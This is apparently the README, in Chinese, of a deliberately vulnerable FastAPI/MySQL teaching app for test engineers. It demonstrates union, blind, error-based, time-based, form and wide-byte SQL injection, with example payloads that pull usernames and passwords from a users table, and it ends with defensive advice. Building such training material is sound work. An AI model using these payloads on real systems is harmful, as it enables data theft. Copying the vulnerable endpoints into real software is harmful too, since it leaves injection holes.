本项目旨在帮助测试工程师学习和理解各种SQL注入攻击方式及其防护方法。通过FastAPI和MySQL构建,提供了多种常见SQL注入类型的演示,包括联合查询注入、布尔盲注、报错注入、时间盲注等。
使用pip安装项目依赖:
pip install .或者,以开发模式安装:
pip install -e .- 确保已安装MySQL数据库
- 创建数据库
sqli_demo - 修改
config.yaml中的数据库连接配置:
# 修改为你的MySQL配置
database:
username: root
password: password
host: localhost
port: 3306
database: sqli_demo启动项目时会自动创建表并插入测试数据:
- 用户表 (users):包含3个测试用户
- 产品表 (products):包含3个测试产品
python main.py项目将运行在 http://localhost:8000
访问首页 http://localhost:8000 可以看到所有可用的注入演示。
- 不安全版本:http://localhost:8000/union_injection/1%20UNION%20SELECT%201,username,password%20FROM%20users--
- 安全版本:http://localhost:8000/union_injection_safe/1
- 示例:http://localhost:8000/boolean_blind/ AND SUBSTRING(password,1,1)='a'
- 示例1:http://localhost:8000/error_injection/ AND (SELECT 1/0)
- 示例2:http://localhost:8000/error_injection/ AND extractvalue(1,concat(0x5c,(SELECT user())))
- 示例1:http://localhost:8000/time_blind/3
- 示例2:http://localhost:8000/time_blind/IF(SUBSTRING(password,1,1)='a',3,0)
访问 http://localhost:8000/form_injection 页面,尝试以下注入:
' OR '1'='1' UNION SELECT 1,username,password,email FROM users--' AND extractvalue(1,concat(0x5c,(SELECT user())))--
- 示例:http://localhost:8000/wide_byte_injection/%df' OR '1'='1
- 本项目仅用于学习和教学目的,请勿在生产环境中使用
- 测试完成后,请立即关闭服务并删除测试数据库
- 在实际开发中,应始终使用参数化查询和ORM框架来防止SQL注入
- 定期更新和修补数据库和应用程序漏洞
- 使用参数化查询:始终使用参数化查询或ORM框架,避免直接拼接SQL语句
- 输入验证:对所有用户输入进行严格验证和过滤
- 最小权限原则:数据库用户应只拥有必要的权限
- 错误处理:避免在错误信息中暴露敏感的数据库信息
- 使用ORM框架:如SQLAlchemy,可以自动防止SQL注入
